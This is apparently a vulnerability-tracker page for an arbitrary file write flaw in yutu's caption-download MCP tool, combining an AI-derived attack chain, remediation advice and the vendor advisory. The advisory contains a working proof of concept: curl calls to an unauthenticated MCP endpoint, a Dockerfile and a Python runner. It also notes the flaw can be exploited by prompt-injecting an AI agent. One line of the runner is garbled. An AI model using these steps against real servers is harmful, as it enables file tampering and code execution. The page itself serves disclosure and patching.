yutu CVE-2026-50158
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach unauthenticated HTTP MCP endpoint
-
DeliveryCall caption-download with absolute/traversal file path
-
Exploitos.Create writes bytes outside YUTU_ROOT
-
ExecutionOverwrite shell rc, binary, or web file
-
ImpactPersistent code execution or denial of service
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | Exploitation requires the yutu MCP server to be running in HTTP mode (yutu mcp --mode http) with the default --auth=false so no attacker authentication is needed, and the server must have valid YUTU_CREDENTIAL and YUTU_CACHE_TOKEN configured plus a reachable caption id, because the write is fed by bytes that Caption.Download() first fetches from YouTube. The attacker must be able to reach the HTTP MCP endpoint locally, or influence an AI agent that exposes the default-registered caption-download tool (fully attacker-controlled |
| Impact | The provided CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, 7.7 High) is internally consistent with the finding: local attack surface, no attacker authentication because the HTTP MCP server defaults to --auth=false, and high integrity/availability impact from arbitrary overwrite with no confidentiality read. Publicly available exploit code exists (Docker and live-server PoCs in the advisory), which raises practical risk, but there is no KEV listing and no EPSS score in the input, so exploitation appears theoretical/POC-stage rather than mass-exploited - consistent with a niche product. A material real-world constraint the raw score does not capture: the write only succeeds after Caption.Download() fetches caption bytes from YouTube, which requires the server to hold valid YUTU_CREDENTIAL and YUTU_CACHE_TOKEN and the MCP server to be running in HTTP mode; against a default-off MCP deployment the exposure is nil. Net: a genuine sandbox-escape/arbitrary-write bug worth patching promptly for anyone running yutu as an MCP server or wiring it into an AI agent, but with a small deployment footprint that keeps aggregate risk moderate rather than internet-scale. |
| Exploit ScenarioDerived | An operator runs |
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Alert meAnalysisAIv1 – Jul 14, 2026
Arbitrary file write in yutu, a Go-based YouTube CLI and MCP server, lets any caller of the built-in caption-download MCP tool place attacker-controlled bytes at any filesystem path the yutu process can write to. The vulnerable Caption.Download() calls os.Create() on the caller-supplied file parameter, bypassing the YUTU_ROOT (pkg.Root/os.OpenRoot) confinement that every other caption write path enforces. Publicly available exploit code exists (a self-contained Docker PoC ships with the advisory); the flaw is not in CISA KEV and no active exploitation is reported, and the vendor has released a fixed version (0.10.9-dev1).
RemediationAI
Vendor-released patch: upgrade to yutu 0.10.9-dev1 or later, which replaces the unconfined os.Create with pkg.Root.OpenFile so the download path honours the YUTU_ROOT boundary (fix commit https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3, release https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9-dev1, advisory https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c). Until you can upgrade, avoid running the MCP server in HTTP mode, or if you must, do not rely on the default and enable authentication (start with --auth true) so unauthenticated local callers cannot invoke tools; bind the listener to loopback only and restrict which local processes can reach the port, accepting that this does not stop an AI agent driven by untrusted input. Where feasible, run yutu under a low-privilege account whose writable paths contain nothing security-sensitive (no shell rc files, binaries, or web roots) so an arbitrary write cannot escalate to code execution, and consider not exposing caption-download to agents that process untrusted content; note these controls reduce but do not eliminate the arbitrary-write primitive, which only the patch fully closes.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
yutu manages YouTube resources and can expose its commands as tools over the Model Context Protocol (MCP). Since Go 1.24 it confines file I/O to the YUTU_ROOT directory using os.OpenRoot (surfaced as pkg.Root), which rejects paths that escape the root with 'path escapes from parent'. The root cause is CWE-73 (External Control of Filename or Path): the download handler flows the MCP-supplied file string from the tool's JSON input schema (cmd/caption/download.go) straight into a raw os.Create() at pkg/caption/caption.go:272, with no canonicalization or root-relative opening. Because os.Create resolves absolute and traversal paths against the real filesystem rather than the confined root, the intended YUTU_ROOT sandbox is silently bypassed for this one code path, while sibling methods Caption.Insert() and Caption.Update() correctly use pkg.Root.Open(). The fix replaces os.Create with pkg.Root.OpenFile(c.File, O_WRONLY|O_CREATE|O_TRUNC, 0600). Affected package is pkg:go/github.com/eat-pray-ai/yutu.
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Severity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
MCP endpoint is local and unauthenticated by default (AV:L, PR:N, UI:N); arbitrary overwrite gives high integrity and availability impact but no read, so C:N; scope unchanged as writes stay within the process's OS rights.
Primary rating from Vendor (https://github.com/eat-pray-ai/yutu).
CVSS VectorVendor: https://github.com/eat-pray-ai/yutu
DescriptionCVE.org
Arbitrary File Write via MCP caption-download Tool
Summary
The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU_ROOT). A local attacker - or any process able to reach the HTTP MCP server - can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.
Details
yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU_ROOT directory. Every other caption file-write path honours this boundary:
| Method | Sink | Confined? |
|---|---|---|
Caption.Insert() | pkg.Root.Open(c.File) (caption.go:109) | Yes |
Caption.Update() | pkg.Root.Open(c.File) (caption.go:193) | Yes |
Caption.Download() | os.Create(c.File) (caption.go:272) | No |
Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:
- Source -
cmd/caption/download.go:32-41:downloadInSchemadeclaresfileas a requiredstringfield in the MCP JSON input schema. - Binding -
cmd/caption/download.go:61-64:cobramcp.GenToolHandlermaps MCP input toinput.Download(writer). - Sink -
pkg/caption/caption.go:272:os.Create(c.File)creates or truncates the file at the attacker-supplied path. - Write -
pkg/caption/caption.go:280:file.Write(body)writes the downloaded caption bytes to that path.
// cmd/caption/download.go
var downloadInSchema = &jsonschema.Schema{
Required: []string{"ids", "file"}, // line 34
// ...
"file": {Type: "string", Description: fileUsage}, // line 40
}
// cobramcp.GenToolHandler binds MCP → handler (line 61-64)
cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {
return input.Download(writer)
})
// pkg/caption/caption.go
body, err := io.ReadAll(res.Body) // line 267
file, err := os.Create(c.File) // line 272 ← unconfined sink
// ...
_, err = file.Write(body) // line 280The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.
Recommended fix:
--- a/pkg/caption/caption.go
+++ b/pkg/caption/caption.go
@@
- file, err := os.Create(c.File)
+ file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
if err != nil {
return errors.Join(errDownloadCaption, err)
}PoC
Prerequisites:
- yutu
0.0.0-dev/ commit351c99d - Valid
YUTU_CREDENTIALandYUTU_CACHE_TOKENavailable - yutu MCP server running in HTTP mode
Docker-based reproduction (no live credentials needed):
The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU_ROOT=/tmp/yutu_safe_root as the confinement boundary.
# From the report workspace root:
docker build --no-cache -t yutu-vuln001-poc \
-f vuln-001/Dockerfile \
reports/mcp_49_eat-pray-ai__yutu
docker run --rm yutu-vuln001-pocExpected output confirms:
pkg.Root.Open("/tmp/poc-arbitrary-write.txt")is correctly rejected withpath escapes from parent(control).caption.Download()withfile="/tmp/poc-arbitrary-write.txt"succeeds and creates a 79-byte file outsideYUTU_ROOT(exploit).
Live MCP server reproduction:
# Start the HTTP MCP server (no auth by default)
yutu mcp --mode http --port 8216
# Initialise session
curl -sD /tmp/yutu.headers \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
>/tmp/yutu.init
SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')
# Exploit: write caption to arbitrary path
# Replace CAPTION_ID with a caption id accessible by the configured token
curl -s \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
${SID:+-H "Mcp-Session-Id: $SID"} \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'
# Verify file was written outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srtImpact
This is an Arbitrary File Write vulnerability. Any principal that can invoke the caption-download MCP tool - including an unauthenticated local process when the HTTP MCP server is running with default settings (--auth false) - can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the YUTU_ROOT confinement boundary that all other file-write operations in yutu respect.
Potential consequences include:
- Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.
- Corrupting log files or database files to cause denial of service.
- Writing web-accessible files in deployments where yutu runs alongside a web server.
- Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the
fileparameter is fully attacker-controlled with no guardrails.
Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose caption-download to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Dockerfile
# Build con: reports/mcp_49_eat-pray-ai__yutu/
# repo/ - the cloned yutu repository
# vuln-001/ - this workspace (Dockerfile, poc_main.go)
FROM golang:1.26 AS builder
WORKDIR /build
# Copy the yutu source tree (provides the vulnerable packages)
COPY repo/ .
# Inject PoC as a new command package (does not modify existing source)
RUN mkdir -p cmd/poc_exploit
COPY vuln-001/poc_main.go cmd/poc_exploit/main.go
# Build the PoC binary (static, no CGO needed)
RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/
# ── Runtime stage ──────────────────────────────────────────────────────────
FROM debian:12-slim
COPY --from=builder /poc /poc
# YUTU_ROOT defines the pkg.Root confinement boundary.
# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,
# demonstrating the os.Create bypass.
ENV YUTU_ROOT=/tmp/yutu_safe_root
RUN mkdir -p /tmp/yutu_safe_root
CMD ["/poc"]poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC Runner
Exploit: Arbitrary File Write via MCP caption-download (CWE-73)
Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement
Usage: python3 poc.py
"""
import os
import subprocess
import sys
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(VULN_DIR)
# mcp_49_eat-pray-ai__yutu/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
IMAGE_NAME = "yutu-vuln001-poc"
def run(cmd, check=False, **kwargs):
print("$ " + " ".join(str(a) for a in cmd))
result = subprocess.run(cmd, =True, **kwargs)
return result
def main():
print("=" * 70)
print("VULN-001: Arbitrary File Write via MCP caption-download")
print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)")
print("=" * 70)
# ── Build ────────────────────────────────────────────────────────────────
build_cmd = [
"docker", "build",
"--no-cache",
"-t", IMAGE_NAME,
"-f", DOCKERFILE,
CONTEXT_DIR,
]
print("\n[Step 1] Building Docker image ...")
result = run(build_cmd, capture_output=False)
if result.returncode != 0:
print("\n[FAIL] Docker build failed.", file=sys.stderr)
sys.exit(1)
# ── Run ──────────────────────────────────────────────────────────────────
run_cmd = ["docker", "run", "--rm", IMAGE_NAME]
print("\n[Step 2] Running PoC container ...")
result = run(run_cmd, capture_output=True)
stdout = result.stdout or ""
stderr = result.stderr or ""
print(stdout, end="")
if stderr:
print(stderr, end="", file=sys.stderr)
# ── Verdict ──────────────────────────────────────────────────────────────
passed = (
result.returncode == 0
and "VULNERABILITY CONFIRMED" in stdout
and "PASS" in stdout
and "os.Create bypasses pkg.Root" in stdout
)
if passed:
print("\n[RESULT] PASS - vulnerability dynamically reproduced.")
else:
print(f"\n[RESULT] FAIL - container exit code {result.returncode}.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()Articles & Coverage 1
Executive ViewAI
Yutu's MCP server component contains an arbitrary file write vulnerability with publicly available exploit code, allowing malicious actors to corrupt or inject files across the filesystem and compromise dependent applications for any organization using yutu in production.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
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Same weakness CWE-73 – External Control of File Name or Path
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
GHSA-2c7f-fxww-6w6c
NVD
CVE.org
EPSS
Exploit-DB